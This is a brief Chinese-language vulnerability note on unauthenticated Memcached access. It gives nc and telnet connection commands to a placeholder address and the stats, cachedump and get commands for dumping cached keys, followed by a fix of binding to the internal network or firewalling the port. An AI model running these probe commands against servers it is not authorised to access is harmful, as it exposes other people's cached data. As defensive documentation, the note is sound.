memcached未受權

memcached未受權

 

 

漏洞成因：

Memcached端口是對外開放的，用nc或Telne能夠直接登陸，查看信息，增長修改均可以。

nc -vv 1.2.3.4 11211

telnet 1.2.3.4 11211

 

 

驗證讀取key：

stats

stats items

stats cachedump 22 0

get kkkkkkkkkkkk

 

 

修復建議：

memcached設置監聽內網或配置防火牆限制非必要的遠程訪問